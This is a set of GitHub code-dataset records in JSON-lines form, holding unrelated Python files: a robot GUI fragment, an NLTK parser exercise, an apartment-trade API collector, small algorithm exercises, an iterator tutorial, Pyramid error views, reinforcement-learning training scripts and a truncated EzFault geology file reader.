cv.detect_common_objects(MiddleImg)\n\t\t\t\t\tprint(bbox, label, conf)\n\t\t\t\t\tMiddleImg = draw_bbox(MiddleImg, bbox, label, conf)\n\t\t\t\telif MODE=='startTh' :\n\t\t\t\t\tprint('start thereding')\n\t\t\t\t\t#thread_id.threading.Thread(target=long_function_wrapper, args=(work_id, gui_queue,), daemon=True).start()\n\t\t\t\telif event == 'StopTh':\n\t\t\t\t\tthread_id.exit\n\n\n\t\t\t\ttry:\n\t\t\t\t\tmessage = gui_queue.get_nowait() # see if something has been posted to Queue\n\t\t\t\texcept queue.Empty: # get_nowait() will get exception when Queue is empty\n\t\t\t\t\tmessage = None # nothing in queue so do nothing\n\n\t\t\t\t# if message received from queue, then some work was completed\n\t\t\t\tif message is not None:\n\t\t\t\t\twindow.Element('OUTPUT2').Update('Complete Work ID ')\n\n\n\t\t\t\t\n\t\t\t\twindow.FindElement('ROI').Update( data=cv2.imencode('.png' , template)[1].tobytes())\n\t\t\t\twindow.FindElement('imageL').Update(data=cv2.imencode('.png', frameLsmall)[1].tobytes())\n\t\t\t\twindow.FindElement('output').Update(data=cv2.imencode('.png', MiddleImg)[1].tobytes())\n\t\t\t\twindow.FindElement('imageR').Update(data=cv2.imencode('.png', frameRsmall)[1].tobytes())\n\n\n\nmain()\nexit()","repo_name":"mkeyno/KeynoRobot","sub_path":"src/KeynoRobot/packages/winapp.py","file_name":"winapp.py","file_ext":"py","file_size_in_byte":27597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40611092225","text":"import nltk\nfrom nltk import CFG, parse\n\ngrammar = nltk.CFG.fromstring(\"\"\"\nO -> GN GV\nGV -> V GN | V\nGN -> Det Nom | Nom\nNom -> 'Juan' | 'perro' | 'galletas'\nDet -> 'el' | 'la'\nV -> 'come' | 'salta'\n\"\"\")\n\ndef main():\n txt = \"Juan come galletas\"\n Earley_algorithm(txt= txt)\n\ndef Earley_algorithm(txt: str):\n txt_tokenized = txt.split()\n parser = nltk.parse.EarleyChartParser(grammar)\n parses = parser.parse(txt_tokenized)\n\n for tree in parses:\n tree.pretty_print()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"santiagoalaniz/fing_ipln","sub_path":"practico_5/ejercicio_2.py","file_name":"ejercicio_2.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70924905390","text":"import threading\nimport requests\nfrom urllib import parse\nfrom secured import myConfig\nimport time\nimport json\nimport logging\nimport logging.config\nfrom pathlib import Path\nimport os\nimport xml.etree.ElementTree as elemTree\nimport math\nfrom threading import Thread\nfrom multiprocessing import Process\n\n# make logger\nwith open(\"./apt/logging.json\", \"r\") as f:\n config = json.load(f)\n\nlogging.config.dictConfig(config)\n\nlogger = logging.getLogger(__name__)\n\nclass aptCollector:\n service_keys = None\n service_key = None\n\n def __init__(self, deal_ymd='', lawd_cd='', num_of_rows=-1, page_no=-1):\n if aptCollector.service_keys is None:\n aptCollector.service_keys = myConfig.DATAGO_CONFIG['ServiceKeys']\n \n if len(aptCollector.service_keys) > 0:\n aptCollector.service_key = aptCollector.service_keys[0]\n else:\n raise ValueError\n \n self.deal_ymd = deal_ymd\n self.lawd_cd = lawd_cd\n self.num_of_rows = num_of_rows\n self.page_no = page_no\n\n def get_new_service_key(self):\n aptCollector.service_keys.remove(aptCollector.service_key)\n if len(aptCollector.service_keys) > 0:\n aptCollector.service_key = aptCollector.service_keys[0]\n return True\n else:\n aptCollector.service_key = None\n return False\n\n def get_url(self):\n \"\"\"\n Args:\n deal_ymd (str): 매매거래년월\n lawd_cd (str): 지역구분코드\n num_of_rows (int): 1회 조회 건수\n page_no (int): page 번호\n\n Returns:\n url: url..\n\n Note:\n\n \"\"\"\n url = 'http://openapi.molit.go.kr/OpenAPI_ToolInstallPackage/service/rest/RTMSOBJSvc/getRTMSDataSvcAptTradeDev'\n queryParams = '?' + 'ServiceKey=' + aptCollector.service_key + '&'\\\n + parse.urlencode({ parse.quote_plus('pageNo') : self.page_no\n , parse.quote_plus('numOfRows') : self.num_of_rows\n , parse.quote_plus('LAWD_CD') : self.lawd_cd\n , parse.quote_plus('DEAL_YMD') : self.deal_ymd })\n return url + queryParams\n\n def get_apt_trsc_data(self, url):\n \"\"\"\n Args:\n url (str): url\n\n Returns:\n (result_code, data, totalCount)\n\n Note:\n result_code: 1=정상, 0=조회가능회수 초과, -1=에러\n\n \"\"\"\n \n try:\n response = requests.get(url)\n except requests.exceptions.RequestException:\n logger.error(\"Cannot get result \" + \",\".join([self.deal_ymd, self.lawd_cd, str(self.num_of_rows), str(self.page_no)]))\n return (-1, '', -1)\n else:\n if response.status_code == requests.codes.ok:\n tree = elemTree.fromstring(response.text)\n if tree.find('./header/resultCode').text == '00': # normal response\n return (1, response.text, tree.find('./body/totalCount').text)\n elif tree.find('./header/resultCode').text == '99': # LIMITED NUMBER OF SERVICE REQUESTS EXCEEDS ERROR.\n logger.error(\"Get LIMITED NUMBER Exceed \" + \",\".join([self.deal_ymd, self.lawd_cd, str(self.num_of_rows), str(self.page_no), response.text]))\n return (0, '', -1)\n else:\n logger.error(\"Cannot get result \" + \",\".join([self.deal_ymd, self.lawd_cd, str(self.num_of_rows), str(self.page_no), response.text]))\n return (-1, '', -1)\n \n return (-1, '', -1)\n\n def get_result_and_save(self, path):\n result_code, data, totalCount = self.get_apt_trsc_data(self.get_url())\n \n if result_code == -1:\n result_code, data, totalCount = self.get_apt_trsc_data(self.get_url())\n \n if result_code == 0:\n while self.get_new_service_key():\n result_code, data, totalCount = self.get_apt_trsc_data(self.get_url())\n if result_code != 0:\n break\n \n if result_code == 1:\n file_name = \"/\"+ \"_\".join([self.lawd_cd, str(self.num_of_rows), totalCount, str(self.page_no)]) + \".xml\"\n with open(path+file_name, 'w', encoding='utf8') as f:\n f.write(data)\n return (result_code, int(totalCount))\n \n return (result_code, -1)\n\ndef main(multi_cnt, cur_cnt):\n if multi_cnt <= cur_cnt:\n raise ValueError\n\n with open('./apt/regCode_ncrg.txt', encoding='utf8') as f:\n lawd_cds = f.read().splitlines()\n\n with open('./apt/deal_ymd.txt', encoding='utf8') as f:\n deal_ymds = f.read().splitlines()\n\n path = \"./apt/data/original/\"\n num_of_rows = 1000\n apt_col = aptCollector()\n # apt_col.service_key = myConfig.DATAGO_CONFIG['ServiceKey']\n apt_col.num_of_rows = num_of_rows\n cnt = 0\n for deal_ymd in deal_ymds:\n deal_ymd_path = Path(path+deal_ymd)\n if not deal_ymd_path.exists():\n deal_ymd_path.mkdir()\n \n for lawd_cd in lawd_cds:\n cnt += 1\n\n if cnt%multi_cnt == cur_cnt:\n lawd_cd_files = [file.name for file in deal_ymd_path.glob(lawd_cd+\"_\" + str(num_of_rows) +\"_*.xml\")]\n \n if len(lawd_cd_files) == 0:\n logger.debug(\"Saved Data Not Exists.. \" + \",\".join([deal_ymd, lawd_cd]))\n page_no = 1\n\n apt_col.deal_ymd = deal_ymd\n apt_col.lawd_cd = lawd_cd\n apt_col.page_no = page_no\n result, tot_cnt = apt_col.get_result_and_save(deal_ymd_path.as_posix())\n if result == 0:\n return\n page_no += 1\n \n while True: \n logger.info(threading.currentThread().getName()+\"/Saved Data Not Exists Get.. \" + \",\".join([deal_ymd, lawd_cd, str(page_no), str(tot_cnt)]))\n if (page_no-1)*num_of_rows >= tot_cnt:\n break\n\n apt_col.page_no = page_no\n result, tot_cnt = apt_col.get_result_and_save(deal_ymd_path.as_posix())\n if result == 0:\n return\n page_no += 1\n else:\n logger.debug(\"Data Exists.. \" + deal_ymd + \",\" + lawd_cd)\n # file_infos[0]: region cd\n # file_infos[1]: num rows per 1 request\n # file_infos[2]: total count\n # file_infos[3]: cur page_no\n file_infos = lawd_cd_files[0].split(\".\")[0].split(\"_\")\n apt_col.deal_ymd = deal_ymd\n apt_col.lawd_cd = lawd_cd\n\n for page_no in range(1, math.ceil(int(file_infos[2])/int(file_infos[1]))+1):\n file_name = \"_\".join([file_infos[0], file_infos[1], file_infos[2], str(page_no)]) + \".xml\"\n if not deal_ymd_path.joinpath(file_name).exists():\n logger.info(\"Data Exists Get.. \" + \",\".join([deal_ymd, lawd_cd, str(page_no)]))\n \n apt_col.page_no = page_no\n result, tot_cnt = apt_col.get_result_and_save(deal_ymd_path.as_posix())\n if result == 0:\n return\n\n\nif __name__ == \"__main__\":\n thread_num = 10\n t_threads = []\n for ix in range(thread_num):\n t_thread = Process(target=main, args=(thread_num, ix), name=\"thread_\"+str(ix), daemon=True)\n t_thread.start()\n t_threads.append(t_thread)\n \n for t_thread in t_threads:\n t_thread.join()","repo_name":"Chicpork/TIL","sub_path":"apt/aptCollector.py","file_name":"aptCollector.py","file_ext":"py","file_size_in_byte":7925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34496364613","text":"#Assignment Four\n#October 9th, 2018\n#AIden Stevenson Bradwell\nimport math\ndef averagecalc(lista):\n #This function begins the proccess of finding the average\n i = 0\n average = 0\n while i < len(lista):\n average = lista[i] + average\n i = i+1\n average = average / len(lista)\n return average\n\ndef deviation(a,lista):\n #This function begins the proccess of finding the deviation\n i = 0\n total = 0\n while i < len(lista) :\n squared = (lista[i] - a)\n squared = squared*squared\n total = total + squared\n i = i + 1\n s = math.sqrt(total / (len(lista )- 1))\n return s\n\n\n#### MAIN PROGRAM ####\nlista = list(eval(input('Please enter a list of numbers: ')))\na = averagecalc(lista)\ns = deviation(a,lista)\nprint('The Standard Deviation is ', s) \n","repo_name":"ABradwell/Portfolio","sub_path":"Language Competency/Python/Basic_Abilities/Arrays/Average _ Deviation.py","file_name":"Average _ Deviation.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40477652088","text":"from collections import defaultdict\n\n\ndef recurse(cycle, remaining_keys, nums):\n if not remaining_keys:\n if cycle[0] // 100 == cycle[-1] % 100:\n return cycle\n return False\n for key in remaining_keys:\n for n in nums[key]:\n if not cycle or n // 100 == cycle[-1] % 100:\n new_cycle = recurse(cycle + [n], remaining_keys - {key}, nums)\n if new_cycle:\n return new_cycle\n return False\n\n\ndef main():\n funcs = {\n \"tri\": lambda n: n * (n + 1) // 2,\n \"sqr\": lambda n: n * n,\n \"pen\": lambda n: n * (3 * n - 1) // 2,\n \"hex\": lambda n: n * (2 * n - 1),\n \"hep\": lambda n: n * (5 * n - 3) // 2,\n \"oct\": lambda n: n * (3 * n - 2),\n }\n nums = defaultdict(list)\n for k, f in funcs.items():\n n = 1\n fn = f(1)\n fn = f(1)\n while fn < 10 ** 4:\n if fn >= 10 ** 3:\n nums[k].append(fn)\n n += 1\n fn = f(n)\n\n print(sum(recurse([], set(nums.keys()), nums)))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AlexClowes/pe","sub_path":"061.py","file_name":"061.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"73550720430","text":"\ndef sorted():\n numlist = [10, 5, 3, 15, 32, 20, 9, 6]\n numlist.sort()\n print(\"The minimum number is\", numlist[0])\n print(\"The maximum number is\", numlist[-1])\n\ndef nonSort():\n numlist = [10, 5, 3, 15, 32, 20, 9, 6]\n minimum = maximum = None\n for i in numlist:\n if minimum is None or i < minimum:\n minimum = i\n if maximum is None or i > maximum:\n maximum = i\n print(\"The minimum number is\", minimum)\n print(\"The maximum number is\", maximum) \n\ndef searchlist(target):\n numlist = [10, 5, 3, 15, 32, 20, 9, 6]\n for i in numlist:\n if i == target: # if the target is found, stop looping\n print(\"The target ({}) is found\".format(target))\n break\n else:\n print(\"Target not found\")\n\nif __name__ == \"__main__\":\n sorted()\n nonSort()\n searchlist(6) \n","repo_name":"IsaacLSK/python_simple_algo","sub_path":"searching/sequential_search.py","file_name":"sequential_search.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"6774351569","text":"# __iter__(self) – получение итератора для перебора объекта;\n# __next__(self) – переход к следующему значению и его считывание.\n\n# a = iter(range(5)) # [0, 1, 2, 3, 4]\n# next(a) # 0\n# next(a) # 1\n# В конце генерируется исключение StopIteration.\n\n# мы можем создать подобный объект (экземпляр класса),\n# используя магические методы __iter__ и __next__\n\nclass FRange:\n def __init__(self, start=0.0, stop=0.0, step=1.0):\n # начальное значение прогрессии, конечное и шаг изменения\n self.start = start\n self.stop = stop\n self.step = step\n\n def __iter__(self):\n print(\"__iter__FRange__iter\")\n self.value = self.start - self.step\n return self\n\n def __next__(self):\n # увеличиваем значение value на шаг step и возвращаем до тех пор,\n # пока не достигли значения stop (не включая его)\n if self.value + self.step < self.stop:\n self.value += self.step\n return self.value\n else:\n raise StopIteration\n # При достижении конца генерируем исключение StopIteration\n # благодаря определению магического метода __next__ в классе FRange,\n # мы можем применять функцию next() для перебора значений его объектов\n\n\n# fr = FRange(0, 2, 0.5)\n# print(next(fr)) # next(fr) == fr.__next__()\n# print(next(fr)) # next(fr) == fr.__next__()\n# print(next(fr)) # next(fr) == fr.__next__()\n# print(next(fr)) # next(fr) == fr.__next__()\n# Здесь функция next() вызывает метод __next__ и возвращенное им значение, возвращается\n# функцией next(). При этом, в качестве аргумента мы ей передаем экземпляр самого класса.\n# То есть, объект класса выступает в роли итератора. В нашем случае так и задумывалось.\n# Однако, перебрать объект fr с помощью цикла for не получится:\n# for x in fr: # TypeError: 'FRange' object is not iterable\n# print(x)\n# Необходимо еще, чтобы объект возвращал итератор при вызове функции iter. Для этого в классе\n# нужно прописать еще один магический метод __iter__. После объявленного метода __iter__, он неявно\n# вызывается внутри класса метод __iter__. Устанавливается начальное значение объекта и\n# возвращается сам объект self. После отрабатывает встроенная функция next() которая перебирает\n# последовательность уже итерируемого объекта до конца последовательности.\n\n\nclass FRange2D:\n def __init__(self, start=0.0, stop=0.0, step=1.0, rows=5):\n # в инициализаторе создается одномерный объект FRange, который будет\n # формировать строки таблицы. Параметр rows – число строк.\n self.fr = FRange(start, stop, step)\n self.rows = rows\n\n def __iter__(self):\n print(\"__iter__2D__iter\")\n self.value_row = 0\n return self\n\n def __next__(self):\n if self.value_row < self.rows:\n self.value_row += 1\n return iter(self.fr)\n # Обратите внимание, что метод __next__ возвращает не конкретное значение,\n # а итератор на объект класса FRange.\n else:\n raise StopIteration\n\n\nfr = FRange2D(0, 2, 0.5, 4)\n# Первый цикл перебирает первый итератор – объект класса FRange2D и на каждой итерации\n# возвращает итератор объекта класса FRange. Именно поэтому мы в методе __next__ класса\n# FRange2D возвращаем иетратор, иначе бы не смогли перебирать объект row во вложенном цикле for.\nfor row in fr:\n for x in row:\n print(x, end=\" \")\n print()\n","repo_name":"Sanch13/OOP","sub_path":"Magic_methods__iter__next__/How_it_works__iter__next__.py","file_name":"How_it_works__iter__next__.py","file_ext":"py","file_size_in_byte":4766,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39440603288","text":"from pyramid.response import Response\nfrom pyramid.view import (\n forbidden_view_config,\n notfound_view_config,\n view_config,\n)\nimport pyramid.httpexceptions as exc\n\nfrom winterthur.views import tpl\n\n\n@notfound_view_config(accept='text/html', renderer=tpl('404'),\n append_slash=exc.HTTPMovedPermanently)\ndef notfound_html(req):\n req.response.status = 404\n return dict()\n\n\n@notfound_view_config(accept='application/json', renderer='json',\n append_slash=exc.HTTPMovedPermanently)\ndef notfound_json(req):\n req.response.status = 404\n return dict()\n\n\n@forbidden_view_config(accept='text/html', renderer=tpl('403'))\ndef forbidden_html(req):\n req.response.status = 403\n return dict()\n\n\n@forbidden_view_config(accept='application/json', renderer='json')\ndef forbidden_json(req):\n req.response.status = 403\n return dict()\n\n\n@view_config(accept='text/html', context=exc.HTTPInternalServerError,\n renderer='string')\ndef internal_server_error_html(req):\n body = 'Cannot {} {}'.format(req.method, req.path)\n return Response(body, status='500 Internal Server Error')\n\n\n@view_config(accept='application/json', context=exc.HTTPInternalServerError,\n renderer='json')\ndef internal_server_error_json(req):\n req.response.status = 500\n return dict()\n","repo_name":"scrolliris/scrolliris-analytics-api","sub_path":"winterthur/views/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21800446777","text":"import os\nimport time\n\nimport gym\nimport ray\nimport ray.rllib.agents.dqn as dqn\nfrom ray.tune.registry import register_env\nfrom sklearn.metrics import accuracy_score, f1_score, roc_auc_score\n\n# noinspection PyUnresolvedReferences\nfrom gym_city.envs.city_world_v3 import City_v3\nfrom gym_city.envs.city_world_test_v3 import City_Test_v3\n\nfrom expert_reward import get_expert_result\n\n# register custom environment\nselect_env = \"city-test-v3\"\ntest_env = \"city-test-v3\"\nregister_env(select_env, lambda config: City_v3())\nregister_env(test_env, lambda config: City_Test_v3())\n\nRAY_DISABLE_MEMORY_MONITOR = 1\n\n# define the algorithm to be used\ntrain_model_name = \"dqn\"\n# path of the model\nchkpt_root = \"test/\" + train_model_name + \"/\" + str(int(time.time()))\n# ray results\nray_results = (\"{}/ray_results/\" + \"/\" + str(int(time.time()))).format(os.getenv(\"HOME\"))\n\nray.init(ignore_reinit_error=True)\n# dqn config\nconfig = dqn.DEFAULT_CONFIG.copy()\nconfig['framework'] = 'torch'\nconfig['noisy'] = True\nagent = dqn.DQNTrainer(config, env=select_env)\n# output format\nstatus = \"{:2d} reward {:6.2f}/{:6.2f}/{:6.2f} len {:4.2f} saved {}\"\n# interation\nn_iter = 30\n# print model structure\npolicy = agent.get_policy()\nmodel = policy.model\n# begin training\nprint(\"================Begin Training====================\")\nfor n in range(n_iter):\n result = agent.train()\n chkpt_file = agent.save(chkpt_root)\n\n print(status.format(\n n + 1,\n result[\"episode_reward_min\"],\n result[\"episode_reward_mean\"],\n result[\"episode_reward_max\"],\n result[\"episode_len_mean\"],\n chkpt_file\n ))\n\n# evaluation\nprint(\"================ Evaluations =================\")\n# model_path='test/dqn/1653376917/checkpoint_000100/checkpoint-100'\nmodel_path = chkpt_root + \"/checkpoint_{}\".format(str(n_iter).zfill(6)) + \"/checkpoint-{}\".format(str(n_iter))\n\n\n# evaluation\ndef rollout_test():\n # agent.restore(path)\n env = gym.make(test_env)\n state = env.reset()\n sum_reward = 0\n n_step = env.get_data_len() * (20 + 1)\n f1_list = []\n auc_list = []\n sim = []\n cc = []\n kl = []\n for step in range(n_step):\n action = agent.compute_single_action(state)\n state, reward, done, info = env.step(action)\n sim.append(env.get_sim())\n cc.append(env.get_cc())\n kl.append(env.get_kl())\n sum_reward += reward\n if done == 1:\n print(\"cumulative reward\", sum_reward)\n results = env.get_final_action()\n labels = env.label_list\n state = env.reset()\n sum_reward = 0\n print('||------similarity:', sum(sim) / len(sim), '----------||')\n sim.clear()\n print('||------cc:', sum(cc) / len(cc), '----------||')\n cc.clear()\n print('||------kl:', sum(kl) / len(kl), '----------||')\n kl.clear()\n print('||------accuracy:', accuracy_score(labels, results), '----------||')\n print('||------f1_score:', f1_score(labels, results), '----------||')\n f1_list.append(f1_score(labels, results))\n auc_list.append(roc_auc_score(labels, results))\n print('||------auc:', roc_auc_score(labels, results), '----------||')\n # print('||------accuracy:', accuracy_score(pred_expert, results), '----------||')\n print(\"===========================\")\n print(\"final f1 = \", sum(f1_list) / len(f1_list))\n print(\"final auc = \", sum(auc_list) / len(auc_list))\n\n\nrollout_test()\n","repo_name":"Crimson725/city-decision","sub_path":"train_for_only_image.py","file_name":"train_for_only_image.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28085575442","text":"from tensorflow.python.ops.gen_math_ops import sqrt\nimport torch\nimport numpy as np\nimport torch.nn.functional as F\nfrom torch import nn, optim, Tensor\nfrom reward_shaping.config import Config\nimport heapq\nfrom collections import deque\nimport math\n\n\nclass EmbeddingModel(nn.Module):\n def __init__(self, obs_size, num_outputs):\n super(EmbeddingModel, self).__init__()\n\n if(len(obs_size)==0):\n return \n\n self.obs_size = 0\n for m in obs_size:\n self.obs_size += m[0]\n self.num_outputs = 0\n for m in num_outputs:\n self.num_outputs += m\n\n # episode instric reward network\n self.fc1 = nn.Linear(self.obs_size, Config.embed_hidden_size)\n self.fc2 = nn.Linear(Config.embed_hidden_size, Config.embed_hidden_size)\n self.last = nn.Linear(Config.embed_hidden_size * 2, self.num_outputs)\n\n # long term reward network\n self.long_fc = nn.Linear(self.obs_size,Config.embed_hidden_size)\n self.long_fc2 = nn.Linear(Config.embed_hidden_size,self.num_outputs)\n self.long_stable_fc = nn.Linear(self.obs_size,Config.embed_hidden_size)\n self.long_stable_fc2 = nn.Linear(Config.embed_hidden_size,self.num_outputs)\n\n # ave and err\n self.stats = RunningStats()\n self.k_th_mean = RunningStats()\n self.optimizer = optim.Adam(self.parameters(), lr=Config.embed_lr)\n\n\n def forward(self, x1, x2):\n x1 = self.embedding(x1)\n x2 = self.embedding(x2)\n x = torch.cat([x1, x2], dim=1)\n x = self.last(x)\n return nn.Softmax(dim=1)(x)\n\n def embedding(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n return x\n\n def long_embedding(self,x):\n x = F.relu(self.long_fc(x))\n x = F.relu(self.long_fc2(x))\n return x\n\n def long_stable_embedding(self,x):\n x = F.relu(self.long_stable_fc(x))\n x = F.relu(self.long_stable_fc2(x))\n return x\n\n def train_model(self, obs_n, obs_next_n, act_n):\n\n length = len(obs_n[0])\n\n states = [np.zeros(0) for i in range(length)]\n for i in range(length):\n # states[i] = np.append(np.empty(0),[arrays[i] for arrays in obs_n])\n for arrays in obs_n:\n states[i] = np.append(states[i],arrays[i])\n\n states = torch.from_numpy(np.stack(states,axis=0)).float()\n\n next_states = [np.zeros(0) for i in range(length)]\n for i in range(length):\n # next_states[i]=np.append(np.empty(0),[arrays[i] for arrays in obs_next_n])\n for arrays in obs_next_n:\n next_states[i]=np.append(next_states[i],arrays[i])\n\n next_states = torch.from_numpy(np.stack(next_states,axis=0)).float()\n\n actions = [ np.zeros(0) for i in range(length)]\n for i in range(length):\n # actions[i]=np.append(np.zeros(0),[arrays[i] for arrays in act_n])\n for arrays in act_n:\n actions[i]=np.append(actions[i],arrays[i])\n actions = torch.from_numpy(np.stack(actions,axis=0)).float()\n\n # batch_size = torch.stack(batch.state).size()[0]\n # # last 5 in sequence\n # states = torch.stack(batch.state).view(batch_size,\n # Config.sequence_length,\n # self.obs_size)[:, -5:, :]\n # next_states = torch.stack(batch.next_state).view(\n # batch_size, Config.sequence_length, self.obs_size)[:, -5:, :]\n # actions = torch.stack(batch.action).view(batch_size,\n # Config.sequence_length,\n # -1).long()[:, -5:, :]\n\n self.optimizer.zero_grad()\n net_out = self.forward(states, next_states)\n # mask = (actions == actions.max(dim=1,keepdim=True)[0]).to(dtype=torch.float32)\n # actions_one_hot = torch.ones_like(actions)\n # actions_one_hot = torch.mul(mask,actions_one_hot)\n # actions_one_hot = torch.squeeze(F.one_hot((actions * 1000).to(torch.int64))).float()\n loss = nn.MSELoss()(net_out, actions)\n # loss.backward()\n\n long_loss = nn.MSELoss()(self.long_embedding(states),self.long_stable_embedding(states).detach())\n\n total_loss = loss+long_loss\n total_loss.backward()\n\n self.optimizer.step()\n return total_loss.item()\n\n\n def compute_intrinsic_reward(self,\n episodic_memory,\n current_c_state,\n new_obs_tensor,\n k=10,\n kernel_cluster_distance=0.008,\n kernel_epsilon=0.0001,\n c=0.001,\n sm=8):\n state_dist = [(torch.dist(c_state, current_c_state).item()) for c_state in episodic_memory]\n state_dist = heapq.nsmallest(k, state_dist)\n # heapq.heapify(state_dist)\n # state_dist = heapq.nlargest(k,state_dist)\n # state_dist = state_dist[:k]\n dist = np.array(state_dist)\n\n self.k_th_mean.push(np.max(dist))\n dist = dist / self.k_th_mean.mean()\n\n dist = np.max(dist - kernel_cluster_distance, 0)\n kernel = kernel_epsilon / (dist + kernel_epsilon)\n s = np.sqrt(np.sum(kernel)) + c\n\n if np.isnan(s) or s>sm :\n return 0\n\n # if np.isnan(s) or s > sm:\n # s = sm\n\n long_loss = nn.MSELoss()(self.long_embedding(new_obs_tensor),self.long_stable_embedding(new_obs_tensor))\n\n self.stats.push(long_loss.item())\n\n alpha = 1+ (long_loss.item()-self.stats.mean())/self.stats.deviation()\n intrisic_reward = (1/s) * min(max(alpha,1),5)\n # self.lastReward = (1/s) - self.lastReward\n \n return intrisic_reward \n\n\n\nclass RunningStats:\n\n def __init__(self):\n self.n = 0\n self.old_m = 0\n self.new_m = 0\n self.old_s = 0\n self.new_s = 0\n \n def clear(self):\n self.n = 0\n \n def push(self, x):\n self.n += 1\n \n if self.n == 1:\n self.old_m = self.new_m = x\n self.old_s = 0\n else:\n self.new_m = self.old_m + (x - self.old_m) / self.n\n self.new_s = self.old_s + (x - self.old_m) * (x - self.new_m)\n \n self.old_m = self.new_m\n self.old_s = self.new_s\n\n def mean(self):\n return self.new_m if self.n else 0.0\n \n def variance(self):\n return self.new_s / (self.n - 1) if self.n > 1 else 1\n\n def deviation(self):\n return math.sqrt(self.variance())","repo_name":"2015211289/multiagent-RL","sub_path":"maddpg_impl/reward_shaping/embedding_model.py","file_name":"embedding_model.py","file_ext":"py","file_size_in_byte":6717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24263682537","text":"from django.urls import path\n\nfrom dealers.views import AdminSignUpView, AdminLoginView, AdminView, EstimateListView, EstimateDetailView, ConsultingView\n\nurlpatterns = [\n path('/signup', AdminSignUpView.as_view()),\n path('/login', AdminLoginView.as_view()),\n path('', AdminView.as_view()),\n path('/estimates', EstimateListView.as_view()),\n path('/estimate/', EstimateDetailView.as_view()),\n path('/consulting', ConsultingView.as_view()),\n] ","repo_name":"wecode-bootcamp-korea/Kolon_Wecode","sub_path":"dealers/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"42266585636","text":"\"\"\"Really simplistic Landmark EzFault reader\nJDK 08/03/09\"\"\"\n# TODO: This whole thing needs documentation!\n# TODO: Methods to convert to grid / triangle strips\n# TODO: Write support... Eventually\n\nimport numpy as np\n\n# Local files\nfrom . import utilities\nfrom .volume import volume\n\nclass ezfault(object):\n \"\"\"Simple geoprobe ezfault reader.\"\"\"\n def __init__(self, filename):\n \"\"\"Takes a filename as input\"\"\"\n self._infile = file(filename, 'r')\n self._readHeader()\n\n\n def _readHeader(self):\n \"\"\" Blindly read the first 6 lines and set properties based on them\n This doesn't check order or sanity of any sort....\"\"\"\n # This really is a bit of a dumb and brittle parser... Doesn't parse\n # the {'s and }'s, just the position of the data in each line.\n\n self._infile.seek(0)\n\n #1st Line: \"#GeoProbe Surface V1.0 ascii\"\n # Identification string\n self.IDstring = self._infile.readline()\n\n #2nd Line: \"FACE %i\"\n # Face Direction (1=X, 2=Y, 3=Z)\n self.face = self._infile.readline().strip().split()\n self.face = int(self.face[1])\n\n #3rd Line: \"BOX {%xmin %ymin %zmin %xmax %ymax %zmax}\"\n # Bounding Box (for some weird reason, this is in volume indicies\n # instead of model units!!)\n self.box = self._infile.readline().strip()[5:-1].split()\n self.box = [int(item) for item in self.box]\n\n #4th Line: \"ORIENT {%xcomp %ycomp %zcomp}\"\n # Orientation of ribs (?)\n self.orientation = self._infile.readline().strip()[9:-1].split()\n self.orientation = [float(item) for item in self.orientation]\n\n #5th Line: \"COLOR %hexcode\"\n self.color = self._infile.readline().strip()[6:]\n\n #6th Line: \"TRANSPARENCY %value\"\n self.transparency = self._infile.readline().strip()[13:]\n self.transparency = float(self.transparency)\n\n #Can't use self.box to set xmin, xmax, etc...\n # (self.box is in volume indicies instead of model units!)\n xmin = property(lambda self: self.points.x.min(),\n doc='Mininum X-coordinate (in inline/crossline)')\n ymin = property(lambda self: self.points.y.min(),\n doc='Mininum Y-coordinate (in inline/crossline)')\n zmin = property(lambda self: self.points.z.min(),\n doc='Mininum Z-coordinate (in inline/crossline)')\n xmax = property(lambda self: self.points.x.max(),\n doc='Maximum X-coordinate (in inline/crossline)')\n ymax = property(lambda self: self.points.y.max(),\n doc='Maximum Y-coordinate (in inline/crossline)')\n zmax = property(lambda self: self.points.z.max(),\n doc='Maximum Z-coordinate (in inline/crossline)')\n\n @property\n def ribs(self):\n \"\"\"Reads points from a rib\"\"\"\n \"\"\"Format looks like this:\n CURVE\n {\n SUBDIVISION 2\n VERTICES\n {\n { 2657.630371 5162.239258 2845.000000 },\n { 2652.424072 5187.238281 2845.000488 },\n { 2648.202637 5206.083496 2845.000488 },\n { 2645.693604 5213.675781 2845.000488 },\n }\n }\n \"\"\"\n self._readHeader()\n while True:\n # Make sure that the next line is \"CURVE\"\n line = self._infile.readline()\n if line == '':\n raise StopIteration #End of File\n elif line.strip() != 'CURVE':\n raise ValueError('Expected next line to be \"CURVE\",'\\\n ' got %s' % line.strip())\n\n # Skip the next 4 lines, and store the 5th for processing\n for i in range(5): line = self._infile.readline()\n\n # Read points\n verts = []\n while line.strip() is not '}':\n line = line.strip().split()\n verts.append( tuple([float(item) for item in line[1:4]]) )\n line = self._infile.readline()\n # Read the other '}'\n line = self._infile.readline()\n\n yield verts\n\n @property\n def points(self):\n \"\"\"Returns a numpy array of all points in the file\"\"\"\n # Have we already done this:\n try:\n return self._allPoints\n except AttributeError:\n dat = []\n 